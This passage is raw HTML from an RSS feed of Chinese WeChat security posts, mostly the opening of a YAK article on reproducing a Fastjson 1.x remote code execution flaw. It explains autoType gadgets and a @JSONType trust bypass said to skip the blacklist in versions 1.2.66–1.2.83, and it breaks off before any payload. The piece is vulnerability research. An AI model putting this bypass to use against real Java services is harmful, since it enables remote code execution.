13px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;text-wrap: wrap;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;visibility: visible;&#34;,&#34;data-nest-level&#34;:&#34;2&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;,&#34;data-nest-level&#34;:&#34;4&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;&#34;,&#34;data-nest-level&#34;:&#34;5&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;6&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;text-align: justify;&#34;,&#34;data-nest-level&#34;:&#34;7&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:null,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">IRify下载地址：</span></span></p><p style="outline: 0px;margin-bottom: 0px;"><span leaf="" style="text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;outline: 0px;font-size: 13px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;text-wrap: wrap;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;visibility: visible;&#34;,&#34;data-nest-level&#34;:&#34;2&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;,&#34;data-nest-level&#34;:&#34;4&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;&#34;,&#34;data-nest-level&#34;:&#34;5&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;6&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;text-align: justify;&#34;,&#34;data-nest-level&#34;:&#34;7&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" mpa-font-style="mryegmhqvuf"><a href="https://ssa.to/" target="_blank">https://ssa.to/</a></span></p><p style="margin-bottom: 0px;"><span leaf="" mpa-font-style="mryegmhqjy0" style="font-size: 13px;">常见问题速查：</span></p><p style="outline: 0px;margin-bottom: 0px;" data-nest-level="8"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);" data-nest-level="9"><em style="outline: 0px;" data-nest-level="10"><span leaf="" data-nest-level="11" mpa-font-style="mryegmhqwmm" style="font-size: 13px;"><a href="https://yaklang.com/products/FAQ" target="_blank">https://yaklang.com/products/FAQ</a></span></em></span></p></div></div></div></div><div style="outline: 0px;" data-nest-level="3"><div data-tools="135编辑器" data-id="121426" style="outline: 0px;font-family: mp-quote, -apple-system-font, Arial, sans-serif;letter-spacing: 0.578px;" data-nest-level="4"><p data-nest-level="5" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6015104398045313" data-s="300,640" data-type="png" data-w="2251" data-imgfileid="100037040" src="https://wechat2rss.xlab.app/img-proxy/?k=3977bf26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZcGEibOlRNlz6ZPic3cWicMDwdqZLq9q0hibDYiaICia6nncspoDTRnjPXFGTr3VWd9FlV4YSXRStoabxbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-nest-level="5" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.325" data-type="gif" data-w="1080" data-imgfileid="100036982" src="https://wechat2rss.xlab.app/img-proxy/?k=41e5b736&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZeX0EdicJxBOjGjQuecg0TvCvRgqibPwyOUp8untXs9Cl5XKux2yQQf27ibgZ0ic0Fm2yicdbYg6c4xUJg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=02f3e054&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247530032%26idx%3D1%26sn%3Da49f8363f83a9aab8c277c0458b12921">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 24 Jul 2026 13:52:00 +0800</pubDate>
    </item>
    <item>
      <title>使用Memfit复现最新的Fastjson远程代码执行漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247530009&amp;idx=1&amp;sn=101c81bd3b9b13aa9cff78872e481180</link>
      <description>深挖版本旁路缺陷，完整复现 Fastjson 1.x 末端版本高危漏洞</description>
      <content:encoded><![CDATA[<p>原创 <span>YAK</span> <span>2026-07-21 19:51</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=015dafa5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72GiaZldG5Sg4CO2wG2ccUU5OmdjFcWP5TaVW0b9GibFpCXPyYY7HZBJ9I20q2VnExaqia5ZdoPuYIVC8k0lrmflhv1DVEDVVOnKEI%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>深挖版本旁路缺陷，完整复现 Fastjson 1.x 末端版本高危漏洞</p>
  <h2 data-nest-level="2" data-pm-slice="0 0 []"><span leaf="" data-nest-level="3"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1927710843373494" data-type="gif" data-w="1079" data-imgfileid="100032990" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce71a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZfCSs0zKcMmDXyJt76PDpGiataSbajd3BpbZnPXBCqFaA3icu2mY1LGqAmJHIiaCq5N9qCBv47ktQEYA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></h2><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><span leaf="" data-nest-level="6"><span textstyle="" style="font-weight: bold;">一、漏洞背景</span></span></p></div></div></div><p style="margin: 8px;text-align: left;" data-mpa-action-id="mrui9k061rb" data-nest-level="2" data-pm-slice="0 0 []"><span data-nest-level="3"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mruhruff18xd" data-nest-level="4"><span leaf="" data-nest-level="5">Fastjson 是阿里巴巴集团开源的高性能 JSON 处理库,用于 Java 环境下的 JSON 序列化与反序列化。项目最初托管于 GitHub</span><span leaf="" mpa-font-style="mrui9jzs27r" style="text-align: left;letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 1px;">(</span></span></span></span><span mpa-font-style="mruhruff940" style="font-size: 15px;" data-nest-level="3"><code data-nest-level="4" mpa-font-style="mrui9jzs1jhc" style="text-align: left;letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" data-nest-level="5" style="letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">alibaba/fastjson</span></span></code><span data-nest-level="4"><span style="text-align: left;letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mrui9jzsg3d" data-nest-level="5"><span leaf="" style="letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="6"><span textstyle="" style="letter-spacing: 1px;">),</span></span></span><span leaf="" data-nest-level="5"><span textstyle="" style="letter-spacing: 1px;">后迁移至 </span></span></span><code data-nest-level="4" style="text-align: left;letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" data-nest-level="5" style="text-align: left;letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">alibaba/fastjson2</span></span></code></span><span data-nest-level="3"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mruhruff1uze" data-nest-level="4"><span leaf="" data-nest-level="5">,曾是 Java 生态中应用最广泛的 JSON 库之一。</span></span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;" data-nest-level="4"><span data-nest-level="5"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mruhs657ko" data-nest-level="6"><span leaf="" data-nest-level="7">开发方:阿里巴巴(Alibaba)</span></span></span></p></li><li><p style="margin-bottom: 8px;" data-nest-level="4"><span leaf="" mpa-font-style="mruhs6571xxa" style="font-size: 15px;" data-nest-level="5"><span textstyle="" style="letter-spacing: 1px;">编程语言:Java</span></span></p></li><li><p style="margin-bottom: 8px;" data-nest-level="4"><span leaf="" mpa-font-style="mruhs65723qb" style="font-size: 15px;" data-nest-level="5"><span textstyle="" style="letter-spacing: 1px;">开源协议:Apache 2.0</span></span></p></li><li><p style="margin-bottom: 8px;" data-nest-level="4"><span leaf="" mpa-font-style="mruhs65761i" style="font-size: 15px;" data-nest-level="5"><span textstyle="" style="letter-spacing: 1px;">主要功能:Java 对象与 JSON 数据的相互转换</span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-nest-level="2"><span leaf="" mpa-font-style="mruhs657102k" style="font-size: 15px;" data-nest-level="3"><span textstyle="" style="letter-spacing: 1px;">Fastjson 最著名的安全问题源于其 autoType 特性:</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li style="letter-spacing:1px;"><p style="margin-bottom: 8px;text-align: left;" data-nest-level="4"><span mpa-font-style="mruhs657xjz" style="font-size: 15px;" data-nest-level="5"><span leaf="" data-nest-level="6"><span textstyle="" style="letter-spacing: 1px;">autoType 允许 JSON 中通过 </span></span><code data-nest-level="6" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" mpa-font-style="mruiax8i11eu" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mruiax8x1q08" data-nest-level="7" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">@type</span></span></code><span leaf="" data-nest-level="6"><span textstyle="" style="letter-spacing: 1px;"> 字段指定反序列化的目标 Java 类,框架会动态加载并实例化该类。</span></span></span></p></li><li style="letter-spacing:1px;"><p style="margin-bottom: 8px;" data-nest-level="4"><span leaf="" mpa-font-style="mruhs65721so" style="font-size: 15px;" data-nest-level="5"><span textstyle="" style="letter-spacing: 1px;">该设计初衷是实现多态对象的序列化还原,但同时也打开了任意类加载的攻击面。</span></span></p></li><li style="letter-spacing:1px;"><p style="margin-bottom: 8px;" data-nest-level="4"><span mpa-font-style="mruhs6571rkb" style="font-size: 15px;" data-nest-level="5"><span leaf="" data-nest-level="6"><span textstyle="" style="letter-spacing: 1px;">攻击者可构造恶意 JSON 数据,触发 JNDI 注入、</span></span><code data-nest-level="6" style="text-align: left;letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="7"><span textstyle="" style="letter-spacing: 1px;">TemplatesImpl</span></span></code><span leaf="" data-nest-level="6"><span textstyle="" style="letter-spacing: 1px;"> 加载字节码、</span></span><code data-nest-level="6" style="text-align: left;letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="7"><span textstyle="" style="letter-spacing: 1px;">JdbcRowSetImpl</span></span></code></span><span data-nest-level="5"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mruhs657fvc" data-nest-level="6"><span leaf="" data-nest-level="7"><span textstyle="" style="letter-spacing: 1px;"> 等 gadget,进而实现远程代码执行(RCE)。</span></span></span></span></p></li></ul><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><span leaf="" data-pm-slice="1 1 [&#34;heading&#34;,{&#34;tagName&#34;:&#34;h2&#34;,&#34;attributes&#34;:{&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;,&#34;level&#34;:2}]" data-nest-level="6"><span textstyle="" style="font-weight: bold;">二、漏洞版本时间线</span></span></p></div></div></div><h2 data-nest-level="2" style="margin: 8px;"><span data-nest-level="3"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mruhsnds1uhj" data-nest-level="4"><span leaf="" data-nest-level="5">Fastjson 1.x 围绕 autoType 进行了长期的攻防博弈,从早期默认开启 autoType 到引入黑名单、校验 hash,再到 SafeMode。本项目复现的是 1.x 末版的 </span></span></span><span mpa-font-style="mruhsnds1a61" style="font-size: 15px;" data-nest-level="3"><code data-nest-level="4" style="text-align: left;letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 1px;">@JSONType</span></span></code><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;"> 旁路:</span></span></span></h2><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;text-align: left;" data-nest-level="4"><span mpa-font-style="mruhsnds1k6b" style="font-size: 15px;" data-nest-level="5"><code data-nest-level="6" style="text-align: left;letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="7"><span textstyle="" style="letter-spacing: 1px;">@JSONType</span></span></code><span leaf="" data-nest-level="6"><span textstyle="" style="letter-spacing: 1px;"> 探测路径在 fastjson 1.2.66 引入,用于兼容带 </span></span><code data-nest-level="6" style="text-align: left;letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;letter-spacing: 1px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="7"><span textstyle="" style="letter-spacing: 1px;">@JSONType</span></span></code><span leaf="" data-nest-level="6"><span textstyle="" style="letter-spacing: 1px;"> 注解的业务类多态还原。</span></span></span></p></li><li><p style="margin-bottom: 8px;text-align: left;" data-nest-level="4"><span leaf="" mpa-font-style="mruhsnds14xs" style="font-size: 15px;" data-nest-level="5"><span textstyle="" style="letter-spacing: 1px;">该探测作为 autoType 之外的&#34;信任通道&#34;,不检查 autoType 开关、不走黑名单 hash 门。</span></span></p></li><li><p style="margin-bottom: 8px;" data-nest-level="4"><span leaf="" mpa-font-style="mruhsnds2012" style="font-size: 15px;" data-nest-level="5"><span textstyle="" style="letter-spacing: 1px;">这条旁路在 1.2.66 ~ 1.2.83 全程存在。</span></span></p></li><li><p style="margin-bottom: 8px;text-align: left;" data-nest-level="4"><span leaf="" mpa-font-style="mruhsndsfxg" style="font-size: 15px;" data-nest-level="5"><span textstyle="" style="letter-spacing: 1px;">1.2.83 是 fastjson 1.x 的最后一个 Tag,项目此后进入 Archived 状态,安全演进在 fastjson2 上继续。</span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-nest-level="2"><span data-nest-level="3"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mruhsnds17z6" data-nest-level="4"><span leaf="" data-nest-level="5">打开 fastjson 的 GitHub 项目可以看到项目目前已进入 Archived 状态,最新 Tag 版本为 1.2.83:</span></span></span></p><p nodeleaf="" data-mpa-action-id="mruhszgl1whh" data-nest-level="2" data-pm-slice="0 0 []" style="padding: 0.5em;margin-bottom: 8px;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.453050034270048" data-type="png" data-w="2918" style="background-color: transparent;border-width: 0px;border-style: solid;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="2918" data-height="1322" data-imgfileid="100046356" src="https://wechat2rss.xlab.app/img-proxy/?k=bc1b0f9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72Hpkkky3FNc6zK2TKJYE7IjQgo9q1IM4qkMKVROybcAPUWL2ZzqhoRQ8jjtDTZj7q5jNl8zlBtntClx8xaswbuaSFic9vMXEUk0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-nest-level="2"><span leaf="" style="letter-spacing: 1px;font-size: 15px;" data-nest-level="3">打开MavenRepo注意到fastjson最新1.2.x版本停留在1.2.83</span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mruhunz09il" data-nest-level="2" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7562437562437563" data-type="png" data-w="2002" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="2002" data-height="1514" data-imgfileid="100046355" src="https://wechat2rss.xlab.app/img-proxy/?k=0801a755&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72Egzic3o6IiaHpBk5IdPWIkRqoXuwVLX1frS3XfelQDxGUxp1kyibQhmlqib7BjDEic1k2LtVn1WtSiamzKIje63czMGgY7CQzXzgjCw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">三、利用链分析</span></strong></p></div></div></div><p style="margin: 8px;" data-nest-level="2"><span leaf="" style="letter-spacing: 1px;font-size: 15px;" data-nest-level="3">本次复现的漏洞走的是 </span><code data-nest-level="3" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="4"><span textstyle="" style="letter-spacing: 0.5px;">@JSONType</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;" data-nest-level="3"> 信任旁路,与传统的 JNDI / TemplatesImpl gadget 链不同,它不依赖任何已知 gadget 类,而是直接让 fastjson 的探测逻辑把&#34;类名&#34;还原成 </span><code data-nest-level="3" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei 